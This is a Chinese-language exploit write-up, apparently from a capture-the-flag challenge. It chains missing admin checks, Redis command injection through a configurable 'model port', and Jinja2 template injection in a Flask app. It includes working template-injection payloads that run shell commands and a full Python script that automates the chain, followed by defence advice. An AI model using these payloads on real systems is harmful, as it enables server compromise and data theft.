Redis下的Python模板魔术方法攻击分析与利用

漏洞概述

本文详细分析了一种结合Redis未授权访问与Python模板注入的安全漏洞，通过伪造管理员会话、操纵Redis数据以及利用模板渲染机制，最终实现远程代码执行并获取系统敏感信息。

漏洞环境分析

关键文件结构

app.py          # 主应用程序文件，包含所有路由和业务逻辑

核心漏洞点

1. 管理员权限伪造漏洞
2. Redis命令注入漏洞
3. Python模板渲染漏洞

漏洞利用步骤详解

第一步：普通用户注册与登录

1. 注册一个普通用户账户
2. 登录获取有效会话(Session)

# 示例注册请求
POST /register HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=attacker&password=123456

第二步：伪造管理员权限

审计发现/admin路由仅检查session中的user字段是否为空，没有验证用户权限级别：

@app.route('/admin')
def admin():
    if 'user' not in session:
        return redirect('/login')
    # 缺少权限验证
    return render_template('admin.html')

利用方法：

1. 获取普通用户的有效session
2. 在请求中添加X-Forwarded-For或类似头字段伪造管理员身份

第三步：操纵模型端口配置

访问/admin/model_ports路由，该功能允许为模型定义端口：

@app.route('/admin/model_ports', methods=['POST'])
def model_ports():
    model_id = request.form.get('model_id')
    port = request.form.get('port')
    # 将模型ID与端口关联存储
    # 无端口类型验证，可设置为Redis端口(通常6379)

攻击操作：

1. 设置模型ID为test
2. 将端口设置为Redis服务端口(如6379)

POST /admin/model_ports HTTP/1.1
Host: target.com
Cookie: session=<普通用户session>
Content-Type: application/x-www-form-urlencoded

model_id=test&port=6379

第四步：Redis命令注入

通过/admin/raw_ask路由与配置的"模型"通信，实际上是与Redis服务交互：

@app.route('/admin/raw_ask', methods=['POST'])
def raw_ask():
    model_id = request.form.get('model_id')
    query = request.form.get('query')
    # 获取模型配置的端口
    port = get_model_port(model_id)
    # 直接与指定端口建立连接并发送查询
    response = send_to_port(port, query)
    return response

利用方法：

1. 通过该接口发送Redis命令
2. 设置恶意的Redis键值对

POST /admin/raw_ask HTTP/1.1
Host: target.com
Cookie: session=<普通用户session>
Content-Type: application/x-www-form-urlencoded

model_id=test&query=SET prompt:math-v1 "{{ ''.__class__.__mro__[1].__subclasses__() }}"

第五步：触发模板渲染漏洞

/ask路由存在模板渲染漏洞：

@app.route('/ask')
def ask():
    query = request.args.get('q', '')
    # 首先尝试从Redis获取模板
    template = redis.get('prompt:math-v1')
    if template:
        # 直接渲染Redis中的值，无安全过滤
        return render_template_string(template)
    else:
        # 从文件系统读取模板
        return render_template('default_prompt.html')

利用方法：

1. 访问/ask路由触发模板渲染
2. 系统会渲染我们通过Redis注入的恶意模板

GET /ask?q=anything HTTP/1.1
Host: target.com

第六步：利用Python魔术方法获取系统权限

通过模板注入执行Python代码：

1. 访问对象类层次结构：

{{ ''.__class__.__mro__[1].__subclasses__() }}

2. 查找并利用危险子类（如os._wrap_close）：

{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['system']('id') }}

3. 获取flag：

{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

自动化攻击脚本

import requests

TARGET = "http://target.com"

# 1. 注册普通用户
session = requests.Session()
register_data = {"username": "attacker", "password": "123456"}
session.post(f"{TARGET}/register", data=register_data)

# 2. 登录获取session
login_data = {"username": "attacker", "password": "123456"}
session.post(f"{TARGET}/login", data=login_data)

# 3. 配置恶意模型端口
model_port_data = {"model_id": "test", "port": "6379"}
session.post(f"{TARGET}/admin/model_ports", data=model_port_data)

# 4. 注入恶意Redis数据
redis_payload = {
    "model_id": "test",
    "query": "SET prompt:math-v1 \"{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['system']('cat /flag') }}\""
}
session.post(f"{TARGET}/admin/raw_ask", data=redis_payload)

# 5. 触发模板渲染
response = session.get(f"{TARGET}/ask?q=anything")
print(response.text)  # 包含flag内容

防御措施

1. 权限验证：

   • 实施严格的权限检查，区分普通用户和管理员
   • 使用角色基础的访问控制(RBAC)

2. 输入验证：

   • 验证模型端口应为合法应用端口
   • 限制Redis命令执行权限

3. 模板安全：

   • 使用安全的模板渲染方式
   • 禁用或严格过滤模板中的Python表达式

4. Redis安全：

   • 实施Redis认证
   • 限制Redis绑定IP
   • 使用不同权限级别的Redis用户

5. 会话安全：

   • 在会话中添加权限级别标识
   • 实施CSRF保护

通过以上分析，我们可以看到多个安全漏洞的连锁反应导致了严重的系统入侵风险。在实际开发中，应当对每个功能点进行严格的安全审查，避免此类漏洞的产生。